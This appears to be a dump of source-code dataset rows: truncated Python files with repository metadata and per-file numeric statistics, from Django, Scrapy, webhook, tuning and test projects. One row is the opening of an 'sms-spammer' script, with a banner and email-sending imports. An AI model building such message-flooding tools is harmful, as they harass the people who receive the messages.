whois-api-llc/dns-lookup-py
dc8e8cf4fd942b349c418f8e1e2466f996001259
[ "MIT" ]
null
null
null
VERSION = '1.0.0' LIBRARY_NAME = 'dns-lookup-python'
17.666667
34
0.698113
9
53
4
0.888889
0
0
0
0
0
0
0
0
0
0
0.06383
0.113208
53
2
35
26.5
0.702128
0
0
0
0
0
0.415094
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
554675b18b4974155757672556b76834790592b0
2,192
py
Python
script.py
mraza007/sms-spammer
793ac2ff8fc164abde849543af24e9d9363e3d86
[ "MIT" ]
null
null
null
script.py
mraza007/sms-spammer
793ac2ff8fc164abde849543af24e9d9363e3d86
[ "MIT" ]
null
null
null
script.py
mraza007/sms-spammer
793ac2ff8fc164abde849543af24e9d9363e3d86
[ "MIT" ]
null
null
null
import smtplib,getpass from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart print(""" ________ ___ _____ _____ / ___| \/ |/ ___| / ___| \ `--.| . . |\ `--. \ `--. _ __ __ _ _ __ ___ _ _...
37.793103
140
0.566606
243
2,192
4.613169
0.440329
0.040143
0.053524
0.032114
0.044603
0
0
0
0
0
0
0.006545
0.30292
2,192
57
141
38.45614
0.727094
0
0
0.042553
0
0.148936
0.605383
0.010949
0
0
0
0
0
1
0.042553
false
0.06383
0.06383
0
0.106383
0.042553
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
55508095561cb36001b8f16496a423b42f7b7c99
5,234
py
Python
loginsightwebhookdemo/vrealizeorchestrator.py
sentania/webhook-shims
89c2de05e0455f59fdd869056fde51cb670d39b4
[ "Apache-2.0" ]
38
2016-07-21T15:02:36.000Z
2022-03-20T21:01:02.000Z
loginsightwebhookdemo/vrealizeorchestrator.py
loginsightwebhooks/loginsightwebhooks
76a9f450cdc4fe3a19928dd22699502fb3350b07
[ "Apache-2.0" ]
66
2016-06-03T03:48:09.000Z
2021-09-27T07:58:06.000Z
loginsightwebhookdemo/vrealizeorchestrator.py
loginsightwebhooks/loginsightwebhooks
76a9f450cdc4fe3a19928dd22699502fb3350b07
[ "Apache-2.0" ]
34
2016-06-02T21:23:39.000Z
2022-02-21T10:31:07.000Z
#!/usr/bin/env python from loginsightwebhookdemo import app, parse, callapi from flask import request, json import base64 import re __author__ = "John Dias and Steve Flanders" __license__ = "Apache v2" __version__ = "1.3" # vRealize Orchestrator server workflow hostname:port (default port is 8281) VROHOSTNAME = '' ...
37.654676
149
0.529996
556
5,234
4.965827
0.368705
0.037668
0.053242
0.041289
0.174937
0.143426
0.143426
0.105034
0.036219
0
0
0.008872
0.332442
5,234
138
150
37.927536
0.781339
0.21303
0
0.181818
0
0
0.23764
0.071019
0
0
0
0
0
0
null
null
0.050505
0.040404
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
5575fa5dfc7b9babb45fc027dac65e7cd0e0e2d9
1,011
py
Python
tuning/ptatuner.py
prdalmia/GaloisGPU
7b04535b4964eda933157546178e6ad3872cb7f3
[ "BSD-3-Clause" ]
24
2018-06-18T20:58:29.000Z
2021-05-27T22:07:22.000Z
tuning/ptatuner.py
prdalmia/GaloisGPU
7b04535b4964eda933157546178e6ad3872cb7f3
[ "BSD-3-Clause" ]
1
2019-11-11T05:16:10.000Z
2019-11-13T18:18:10.000Z
tuning/ptatuner.py
prdalmia/GaloisGPU
7b04535b4964eda933157546178e6ad3872cb7f3
[ "BSD-3-Clause" ]
12
2018-08-30T13:17:01.000Z
2020-08-24T11:10:47.000Z
#!/usr/bin/env python import lsgtuner import re import opentuner from lsgtuner import IntegerStepParameter class pta(lsgtuner.LSGBinary): debug=True binary = "./run.sh" make_target = "pta" inputs = ['../../inputs/tshark'] #, '../../inputs/vim'] #, '../../inputs/pine'] params = [IntegerStepParamet...
36.107143
83
0.659743
115
1,011
5.495652
0.495652
0.094937
0.142405
0.161392
0.384494
0.384494
0.384494
0.142405
0
0
0
0.057882
0.196835
1,011
27
84
37.444444
0.720443
0.063304
0
0
0
0
0.236479
0.152704
0
0
0
0
0
1
0
false
0
0.190476
0
0.571429
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
557fcff17a72fc72698dda103501006c68671673
782
py
Python
opus/analyzer/possibility_space.py
Brychlikov/OPUS
380c0268cc77a2eac91ae7dd0f75f52444e7c665
[ "MIT" ]
null
null
null
opus/analyzer/possibility_space.py
Brychlikov/OPUS
380c0268cc77a2eac91ae7dd0f75f52444e7c665
[ "MIT" ]
null
null
null
opus/analyzer/possibility_space.py
Brychlikov/OPUS
380c0268cc77a2eac91ae7dd0f75f52444e7c665
[ "MIT" ]
2
2020-07-13T12:50:31.000Z
2020-07-16T17:36:01.000Z
from opus.lang.ir import BinaryExpr, InExpr, Atom, Branch, Test class PossibilitySpace: def __init__(self): self.points = list(range(0, 41)) self.clubs_points = list(range(0, 11)) self.diamonds_points = list(range(0, 11)) self.hearts_points = list(range(0, 11)) self.spad...
24.4375
63
0.601023
102
782
4.431373
0.333333
0.110619
0.165929
0.176991
0.19469
0.19469
0
0
0
0
0
0.026362
0.272379
782
31
64
25.225806
0.768014
0
0
0.1
0
0
0.020513
0
0
0
0
0
0
1
0.15
false
0.1
0.05
0
0.25
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
55825ccd8b3e4c1bac3358fef4102b39d2fae8ce
342
py
Python
Round #542 (Div 2)/B.py
julianferres/Codeforces
ac80292a4d53b8078fc1a85e91db353c489555d9
[ "MIT" ]
4
2020-01-31T15:49:25.000Z
2020-07-07T11:44:03.000Z
Round #542 (Div 2)/B.py
julianferres/CodeForces
14e8369e82a2403094183d6f7824201f681c9f65
[ "MIT" ]
null
null
null
Round #542 (Div 2)/B.py
julianferres/CodeForces
14e8369e82a2403094183d6f7824201f681c9f65
[ "MIT" ]
null
null
null
def B(): n = int(input()) a = [int(x) for x in input().split()] d = {i:[] for i in range(1,n+1)} d[0]= [0,0] for i in range(2*n): d[a[i]].append(i) ans = 0 for i in range(n): a , b = d[i] , d[i+1] ans+= min(abs(b[0]-a[0])+abs(b[1]-a[1]) , abs(b[0]-a[1])+abs(b[1]-a[0])...
22.8
80
0.418129
76
342
1.881579
0.276316
0.111888
0.125874
0.230769
0.167832
0
0
0
0
0
0
0.066946
0.30117
342
14
81
24.428571
0.531381
0
0
0
0
0
0
0
0
0
0
0
0
1
0.076923
false
0
0
0
0.076923
0.076923
0
0
1
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
5585ba80a93d143c9f2a752f359faa8767909fde
923
py
Python
HitchHikerDemo/trips/migrations/0001_initial.py
SohilaBogdadyNagdy/HitchHikerDemo
d0f0e1607d87d8eefc32688adf680ee0c45a8b42
[ "BSD-3-Clause" ]
null
null
null
HitchHikerDemo/trips/migrations/0001_initial.py
SohilaBogdadyNagdy/HitchHikerDemo
d0f0e1607d87d8eefc32688adf680ee0c45a8b42
[ "BSD-3-Clause" ]
null
null
null
HitchHikerDemo/trips/migrations/0001_initial.py
SohilaBogdadyNagdy/HitchHikerDemo
d0f0e1607d87d8eefc32688adf680ee0c45a8b42
[ "BSD-3-Clause" ]
null
null
null
# Generated by Django 2.0.8 on 2018-09-24 16:58 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Trip', fields=[ ('id', models.AutoField(aut...
35.5
114
0.620802
101
923
5.504951
0.475248
0.118705
0.129496
0.172662
0.402878
0.402878
0.402878
0.402878
0.402878
0
0
0.033333
0.252438
923
25
115
36.92
0.772464
0.048754
0
0
1
0
0.180365
0
0
0
0
0
0
1
0
false
0
0.055556
0
0.277778
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
558bf3366212bd5c97a002d9f8d0397d9cb07b30
264
py
Python
app/models/exclusion_keyword.py
Simple2B/twitter-bot
220fbf34489b6173683799631fa4ab5428ebe531
[ "Apache-2.0" ]
null
null
null
app/models/exclusion_keyword.py
Simple2B/twitter-bot
220fbf34489b6173683799631fa4ab5428ebe531
[ "Apache-2.0" ]
null
null
null
app/models/exclusion_keyword.py
Simple2B/twitter-bot
220fbf34489b6173683799631fa4ab5428ebe531
[ "Apache-2.0" ]
null
null
null
from app import db from app.models.utils import ModelMixin class ExclusionKeyword(db.Model, ModelMixin): __tablename__ = 'exclusion_keywords' id = db.Column(db.Integer, primary_key=True) word = db.Column(db.String(60), unique=True, nullable=False)
24
64
0.746212
36
264
5.305556
0.694444
0.073298
0.104712
0
0
0
0
0
0
0
0
0.008889
0.147727
264
10
65
26.4
0.84
0
0
0
0
0
0.068182
0
0
0
0
0
0
1
0
false
0
0.333333
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
559946abf5c77aabfc2d5346fb872ebd7c55debf
347
py
Python
tests/test.py
ebmhu2/pysqlcipher
c1feffaad1ae56ff45e795b4dbb08be97e860906
[ "BSD-3-Clause" ]
108
2015-01-14T16:04:17.000Z
2021-12-22T22:45:13.000Z
tests/test.py
ebmhu2/pysqlcipher
c1feffaad1ae56ff45e795b4dbb08be97e860906
[ "BSD-3-Clause" ]
18
2015-01-16T16:23:55.000Z
2020-01-07T07:32:53.000Z
tests/test.py
ebmhu2/pysqlcipher
c1feffaad1ae56ff45e795b4dbb08be97e860906
[ "BSD-3-Clause" ]
43
2015-01-16T15:56:04.000Z
2022-01-21T22:51:41.000Z
from pysqlcipher import dbapi2 as sqlite conn = sqlite.connect('test.db') c = conn.cursor() c.execute("PRAGMA key='testaverylongpasswordisthisokey'") c.execute("create table stocks (date text, trans text, symbol text, qty real, price real)") c.execute("""insert into stocks values ('2006-01-05','BUY','RHAT',100,35.14)""...
38.555556
91
0.729107
52
347
4.865385
0.75
0.094862
0
0
0
0
0
0
0
0
0
0.051118
0.097983
347
8
92
43.375
0.757189
0
0
0
0
0.125
0.553314
0.213256
0
0
0
0
0
1
0
false
0.125
0.125
0
0.125
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
559a824fc8f0a0ee98f130fc071ffbbe79012d25
687
py
Python
uw_uwnetid/tests/test_subscription_233.py
uw-it-aca/uw-restclients-uwnetid
5dc31c6701d482bbc2eedc75ab38656c1dd81a2c
[ "Apache-2.0" ]
1
2018-08-06T22:16:58.000Z
2018-08-06T22:16:58.000Z
uw_uwnetid/tests/test_subscription_233.py
uw-it-aca/uw-restclients-uwnetid
5dc31c6701d482bbc2eedc75ab38656c1dd81a2c
[ "Apache-2.0" ]
52
2017-06-15T22:48:55.000Z
2021-06-10T18:09:55.000Z
uw_uwnetid/tests/test_subscription_233.py
uw-it-aca/uw-restclients-uwnetid
5dc31c6701d482bbc2eedc75ab38656c1dd81a2c
[ "Apache-2.0" ]
null
null
null
# Copyright 2021 UW-IT, University of Washington # SPDX-License-Identifier: Apache-2.0 from unittest import TestCase from uw_uwnetid.subscription_233 import get_office365edu_prod_subs,\ get_office365edu_test_subs from restclients_core.exceptions import DataFailureException from uw_uwnetid.util import fdao_uwnetid_o...
34.35
68
0.802038
89
687
5.831461
0.460674
0.17341
0.109827
0.132948
0.321773
0.157996
0.157996
0.157996
0
0
0
0.050251
0.131004
687
19
69
36.157895
0.819095
0.11936
0
0.153846
0
0
0.013289
0
0
0
0
0
0.153846
1
0.153846
false
0
0.307692
0
0.538462
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
559e63a96d9616ca03636e4d447be6182024d4a3
1,886
py
Python
apps/consultants/views.py
kradalby/kavik
81f4008a14103f57d8ef57802a7e6ad5e8c39124
[ "MIT" ]
null
null
null
apps/consultants/views.py
kradalby/kavik
81f4008a14103f57d8ef57802a7e6ad5e8c39124
[ "MIT" ]
null
null
null
apps/consultants/views.py
kradalby/kavik
81f4008a14103f57d8ef57802a7e6ad5e8c39124
[ "MIT" ]
null
null
null
import base64 import uuid from datetime import datetime from django.shortcuts import render from django.http import HttpResponse from apps.consultants.models import Consultant from kavik.settings import BASIC_USER, BASIC_PASS # Create your views here. # Basic auth decorator for some security layer. def basic_http...
28.575758
83
0.644221
218
1,886
5.472477
0.37156
0.025147
0.032691
0.085499
0.326069
0.326069
0.326069
0.326069
0.326069
0.326069
0
0.011236
0.244963
1,886
65
84
29.015385
0.826545
0.080594
0
0.390244
0
0
0.097222
0
0
0
0
0
0
0
null
null
0.097561
0.170732
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
55a2a9f5168c7c1212293c70634e8657d9b2baed
193
py
Python
basic_template/MATA030TESTSUITE.py
98llm/tir-script-samples
0bff8393b79356aa562e9e6512c11ee6e039b177
[ "MIT" ]
17
2018-09-24T17:27:08.000Z
2021-09-16T19:09:46.000Z
basic_template/MATA030TESTSUITE.py
98llm/tir-script-samples
0bff8393b79356aa562e9e6512c11ee6e039b177
[ "MIT" ]
4
2018-09-24T17:30:32.000Z
2022-01-03T11:39:30.000Z
basic_template/MATA030TESTSUITE.py
98llm/tir-script-samples
0bff8393b79356aa562e9e6512c11ee6e039b177
[ "MIT" ]
18
2019-06-07T17:41:34.000Z
2022-01-31T18:17:31.000Z
import unittest from MATA030TESTCASE import MATA030 suite = unittest.TestSuite() suite.addTest(MATA030('test_MATA030_CT133')) runner = unittest.TextTestRunner(verbosity=2) runner.run(suite)
19.3
45
0.813472
23
193
6.73913
0.652174
0
0
0
0
0
0
0
0
0
0
0.090909
0.088083
193
10
46
19.3
0.789773
0
0
0
0
0
0.092784
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
55a340a847001d93733793fc1f9af84028ba043f
186
py
Python
ap_server/__init__.py
phelipealves/CreateAPServer
c6775631ff075b0c29ce8a81ea55ffe76327d924
[ "MIT" ]
1
2019-06-04T15:27:40.000Z
2019-06-04T15:27:40.000Z
ap_server/__init__.py
phelipealves/CreateAPServer
c6775631ff075b0c29ce8a81ea55ffe76327d924
[ "MIT" ]
null
null
null
ap_server/__init__.py
phelipealves/CreateAPServer
c6775631ff075b0c29ce8a81ea55ffe76327d924
[ "MIT" ]
null
null
null
import logging FORMAT = '%(asctime)s - %(name)s - %(levelname)s - %(message)s' logging.basicConfig(format=FORMAT) logger = logging.getLogger('ap_server') logger.setLevel(logging.DEBUG)
26.571429
63
0.736559
24
186
5.666667
0.625
0
0
0
0
0
0
0
0
0
0
0
0.091398
186
6
64
31
0.804734
0
0
0
0
0
0.327957
0
0
0
0
0
0
1
0
false
0
0.2
0
0.2
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
55b090375697179bf7c84dac05de48d6ec410a22
2,072
py
Python
6.Scrapy/Scrapy_Pipeline.py
gkimeeq/WebCrawler
2a427bc358547b31143032a56a20864559d77ca8
[ "Apache-2.0" ]
1
2019-07-12T14:00:54.000Z
2019-07-12T14:00:54.000Z
6.Scrapy/Scrapy_Pipeline.py
gkimeeq/WebCrawler
2a427bc358547b31143032a56a20864559d77ca8
[ "Apache-2.0" ]
null
null
null
6.Scrapy/Scrapy_Pipeline.py
gkimeeq/WebCrawler
2a427bc358547b31143032a56a20864559d77ca8
[ "Apache-2.0" ]
null
null
null
# coding=utf-8 from scrapy.exceptions import DropItem import json import pymongo # 过滤价格的管道 class PricePipeline(object): vat_factor = 1.15 def process_item(self, item, spider): if item.get('price'): if item.get('price_excludes_vat'): item['price'] = item['price'] * self.va...
29.6
96
0.640927
249
2,072
5.160643
0.373494
0.054475
0.04358
0.056031
0.185214
0.096498
0.052918
0.052918
0
0
0
0.002566
0.247587
2,072
69
97
30.028986
0.821681
0.137548
0
0.297872
0
0
0.062925
0
0
0
0
0
0
1
0.234043
false
0
0.06383
0.021277
0.510638
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
55c0195c8eccd2ae4c238f0f1c0d54e2067e91c2
456
py
Python
test/json_rpc_client.py
Vadman97/HawkProxy
ed2e2a59dd6f369756cfc459f2a5ec466615593e
[ "MIT" ]
null
null
null
test/json_rpc_client.py
Vadman97/HawkProxy
ed2e2a59dd6f369756cfc459f2a5ec466615593e
[ "MIT" ]
null
null
null
test/json_rpc_client.py
Vadman97/HawkProxy
ed2e2a59dd6f369756cfc459f2a5ec466615593e
[ "MIT" ]
1
2020-07-24T00:31:05.000Z
2020-07-24T00:31:05.000Z
#!/usr/bin/env python # vim: tabstop=4 shiftwidth=4 softtabstop=4 import xmlrpclib import json import sys import time import datetime import jsonrpclib server = jsonrpclib.Server('http://localhost:8080') retry = 1000 t1 = datetime.datetime.now() for i in xrange(retry): server.echo_rpc() t2 = datetime.datetime.no...
21.714286
68
0.690789
69
456
4.536232
0.565217
0.038339
0.121406
0
0
0
0
0
0
0
0
0.049869
0.164474
456
20
69
22.8
0.771654
0.135965
0
0
0
0
0.178571
0
0
0
0
0
0
0
null
null
0
0.428571
null
null
0.071429
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
1
0
0
0
0
2
e94832de330199f7b805f616d7735034aa9f5252
1,938
py
Python
extranet/urls.py
montel-ig/codeshop
487e35a6ed7a21374263d304c4f347bb67d5a2d6
[ "Unlicense" ]
3
2020-04-28T04:51:42.000Z
2021-11-29T12:55:56.000Z
extranet/urls.py
montel-ig/codeshop
487e35a6ed7a21374263d304c4f347bb67d5a2d6
[ "Unlicense" ]
null
null
null
extranet/urls.py
montel-ig/codeshop
487e35a6ed7a21374263d304c4f347bb67d5a2d6
[ "Unlicense" ]
null
null
null
from django.conf.urls import patterns, url urlpatterns = patterns( '', url(r'^login/$', 'extranet.views.login', name='extranet_login'), url(r'^$', 'extranet.views.home', name='extranet_home'), # === github webhook === url(r'^github/webhook/(.*)/$', 'extranet.views.github.webhook', name='e...
42.130435
90
0.598555
232
1,938
4.797414
0.146552
0.061096
0.113208
0.044924
0.208446
0.026954
0
0
0
0
0
0
0.142931
1,938
45
91
43.066667
0.670078
0.034056
0
0
0
0
0.642742
0.521693
0
0
0
0
0
1
0
false
0
0.029412
0
0.029412
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
e95b669dd2b12aa78d1ab3f9b5a00aad3a7f6cfc
211
py
Python
tests/cases/run/match2.py
3e45/minpiler
993bdb38d1e4709a412bb551f7eb213376bfe7d2
[ "MIT" ]
null
null
null
tests/cases/run/match2.py
3e45/minpiler
993bdb38d1e4709a412bb551f7eb213376bfe7d2
[ "MIT" ]
5
2022-02-12T19:53:08.000Z
2022-03-02T04:30:32.000Z
tests/cases/run/match2.py
3e45/minpiler
993bdb38d1e4709a412bb551f7eb213376bfe7d2
[ "MIT" ]
null
null
null
from minpiler.std import M, emulator match None: case 0: M.print(0) case None: M.print("None") case 1: M.print(10) case 2: M.print(20) # > None emulator.kill()
13.1875
36
0.526066
31
211
3.580645
0.516129
0.216216
0
0
0
0
0
0
0
0
0
0.058394
0.350711
211
15
37
14.066667
0.751825
0.028436
0
0
0
0
0.019704
0
0
0
0
0
0
1
0
true
0
0.090909
0
0.090909
0.363636
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
e9662521d42b52209301c8b3f2545ead764136ec
517
py
Python
APIs/APIs 6 - ORM/app/models.py
Nikolas010101/Projects
1338e8073dd85b5b9d2b107b51eff966eb4051e9
[ "MIT" ]
null
null
null
APIs/APIs 6 - ORM/app/models.py
Nikolas010101/Projects
1338e8073dd85b5b9d2b107b51eff966eb4051e9
[ "MIT" ]
null
null
null
APIs/APIs 6 - ORM/app/models.py
Nikolas010101/Projects
1338e8073dd85b5b9d2b107b51eff966eb4051e9
[ "MIT" ]
null
null
null
from .database import Base from sqlalchemy import Column, Integer, String, Boolean from sqlalchemy.sql.expression import text from sqlalchemy.sql.sqltypes import TIMESTAMP class Post(Base): __tablename__ = "posts" id = Column(Integer, primary_key=True, nullable=False) title = Column(String, nullable=False...
39.769231
95
0.758221
64
517
6
0.515625
0.135417
0.088542
0.130208
0
0
0
0
0
0
0
0
0.137331
517
13
95
39.769231
0.860987
0
0
0
0
0
0.027027
0
0
0
0
0
0
1
0
false
0
0.363636
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
e97a6a12194372c1b85cba9ce2bd9ed81aa1fbcf
2,429
py
Python
tests/test_utilities.py
gift-surg/ImageSplit
53db072dbb8ab85af7f7ec626ecc40571598ed90
[ "BSD-3-Clause" ]
2
2020-12-16T17:46:36.000Z
2021-05-26T06:56:53.000Z
tests/test_utilities.py
gift-surg/ImageSplit
53db072dbb8ab85af7f7ec626ecc40571598ed90
[ "BSD-3-Clause" ]
7
2018-02-16T15:39:47.000Z
2018-03-28T13:46:53.000Z
tests/test_utilities.py
tomdoel/ImageSplit
53db072dbb8ab85af7f7ec626ecc40571598ed90
[ "BSD-3-Clause" ]
2
2018-10-01T01:51:32.000Z
2019-04-18T16:32:07.000Z
# -*- coding: utf-8 -*- import unittest from parameterized import parameterized import numpy as np from imagesplit.image.combined_image import Limits from imagesplit.utils.utilities import file_linear_byte_offset, rescale_image class TestUtilities(unittest.TestCase): """Tests for utilities""" def test_get...
50.604167
148
0.533141
372
2,429
3.392473
0.204301
0.025357
0.021395
0.095087
0.53962
0.53962
0.457211
0.389857
0.347068
0.33439
0
0.276132
0.263483
2,429
47
149
51.680851
0.42929
0.017291
0
0.263158
0
0
0
0
0
0
0
0
0.157895
1
0.052632
false
0
0.131579
0
0.210526
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
e991c4a76cc0a1259169a936f05578bdeaff09a4
527
py
Python
exemplo_02.py
alef123vinicius/Estudo_python
30b121d611f94eb5df9fbb41ef7279546143221b
[ "Apache-2.0" ]
1
2021-02-10T14:59:44.000Z
2021-02-10T14:59:44.000Z
exemplo_02.py
alef123vinicius/Estudo_python
30b121d611f94eb5df9fbb41ef7279546143221b
[ "Apache-2.0" ]
null
null
null
exemplo_02.py
alef123vinicius/Estudo_python
30b121d611f94eb5df9fbb41ef7279546143221b
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Tue Feb 9 14:34:19 2021 @author: alef """ """ Comentários funcionais O caractere # marca o início de comentário. Qaulquer texto depois do # será ignorado até o fim da linha, com exceção dos comentários funcionais. Comentários funcionais são utilizados p...
25.095238
84
0.73814
84
527
4.630952
0.761905
0.161954
0
0
0
0
0
0
0
0
0
0.044084
0.182163
527
21
85
25.095238
0.858469
0.28463
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
1
0
2
e9a66c8224c89a35f193bd98bec567216348a8cb
2,022
py
Python
tests/filters.py
mhsiddiqui/dj-rest-filters
0b3c2b6afff67d7707c7c04175bee1c43478b4f9
[ "MIT" ]
null
null
null
tests/filters.py
mhsiddiqui/dj-rest-filters
0b3c2b6afff67d7707c7c04175bee1c43478b4f9
[ "MIT" ]
null
null
null
tests/filters.py
mhsiddiqui/dj-rest-filters
0b3c2b6afff67d7707c7c04175bee1c43478b4f9
[ "MIT" ]
null
null
null
from djfilters import filters from .models import (BooleanModel, DateFieldModel, EmailModel, IpModel, NumberModel, RelatedIntIdModel, RelatedSlugIdModel, TextModel) # Simple Filters class TextFieldFilter(filters.Filter): text = filters.CharField(max_length=10, required=...
21.510638
72
0.673096
190
2,022
6.863158
0.310526
0.069018
0.141104
0.165644
0.236196
0
0
0
0
0
0
0.001309
0.244313
2,022
93
73
21.741935
0.852094
0.013848
0
0.266667
0
0
0.031642
0
0
0
0
0
0
1
0.05
false
0.016667
0.033333
0
0.516667
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
e9ba630a03f7018eb9960d6ffad7676a8bc220e1
601
py
Python
prodj/pdblib/artist.py
beauburrows/python-prodj-link
1cc6b6c19e38ac09fadb91420e45adbe2c9691bb
[ "Apache-2.0" ]
66
2018-01-16T09:25:30.000Z
2022-03-24T14:58:44.000Z
prodj/pdblib/artist.py
beauburrows/python-prodj-link
1cc6b6c19e38ac09fadb91420e45adbe2c9691bb
[ "Apache-2.0" ]
25
2018-05-16T12:17:11.000Z
2021-02-06T11:09:03.000Z
prodj/pdblib/artist.py
beauburrows/python-prodj-link
1cc6b6c19e38ac09fadb91420e45adbe2c9691bb
[ "Apache-2.0" ]
18
2018-03-15T13:54:40.000Z
2022-03-24T20:49:43.000Z
from construct import Struct, Int8ul, Int16ul, Int32ul, OneOf, IfThenElse, Tell, this from .piostring import OffsetPioString ARTIST_ENTRY_MAGIC = 0x60 LONG_ARTIST_ENTRY_MAGIC = 0x64 Artist = Struct( "entry_start" / Tell, "magic" / OneOf(Int16ul, [ARTIST_ENTRY_MAGIC, LONG_ARTIST_ENTRY_MAGIC]), "index_shift" / In...
37.5625
128
0.758735
77
601
5.662338
0.428571
0.151376
0.220183
0.183486
0.295872
0.238532
0.238532
0.238532
0.238532
0
0
0.049904
0.133111
601
15
129
40.066667
0.786948
0.073211
0
0
0
0
0.086486
0
0
0
0.014414
0
0
1
0
false
0
0.153846
0
0.153846
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
e9bc05442df7027a9729c439791806f31437f32a
102,544
py
Python
meps_db/components/admin.py
explore-meps/meps_dev
cd98ff6b484799fc0f2f447b3945621bd013bee6
[ "MIT" ]
null
null
null
meps_db/components/admin.py
explore-meps/meps_dev
cd98ff6b484799fc0f2f447b3945621bd013bee6
[ "MIT" ]
null
null
null
meps_db/components/admin.py
explore-meps/meps_dev
cd98ff6b484799fc0f2f447b3945621bd013bee6
[ "MIT" ]
null
null
null
from django.contrib import admin from meps_db.components.models.dental_visits_models import ( DentalVisits18, DentalVisits17, DentalVisits16, DentalVisits15, DentalVisits14, DentalVisits13, DentalVisits12, DentalVisits11, DentalVisits10, DentalVisits09, DentalVisits08, D...
30.213318
82
0.709422
11,579
102,544
6.13464
0.0304
0.023651
0.082778
0.094604
0.709177
0.644419
0.644419
0.644419
0.644419
0.644419
0
0.024222
0.210895
102,544
3,393
83
30.222222
0.853617
0.245339
0
0.658436
0
0
0.015016
0
0
0
0
0
0
1
0.164609
false
0
0.006467
0
0.829512
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
e9c12e681a6df91b96035cfacfac15658551980b
485
py
Python
argmining/features/tfidf.py
ertogrul/ArgMining
2b7777ad6172723ece1cfe8df09c47c5c362ef5d
[ "MIT" ]
13
2018-01-26T13:20:53.000Z
2022-03-04T15:26:59.000Z
argmining/features/tfidf.py
ertogrul/ArgMining
2b7777ad6172723ece1cfe8df09c47c5c362ef5d
[ "MIT" ]
null
null
null
argmining/features/tfidf.py
ertogrul/ArgMining
2b7777ad6172723ece1cfe8df09c47c5c362ef5d
[ "MIT" ]
6
2018-04-11T15:27:42.000Z
2020-12-10T13:34:06.000Z
from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.pipeline import Pipeline from argmining.features.bag_of_words import tokenizer_THF_words_lowercase def build_tfidf(feature_name='tfidf', ngram_range=(1, 1), min_df=5): pipeline = Pipeline( [('tfidf', TfidfVectorizer(min_df=min_df, lo...
40.416667
107
0.729897
59
485
5.694915
0.474576
0.089286
0.10119
0.154762
0
0
0
0
0
0
0
0.007614
0.187629
485
11
108
44.090909
0.845178
0
0
0
0
0
0.020619
0
0
0
0
0
0
1
0.111111
false
0
0.333333
0
0.555556
0
0
0
0
null
0
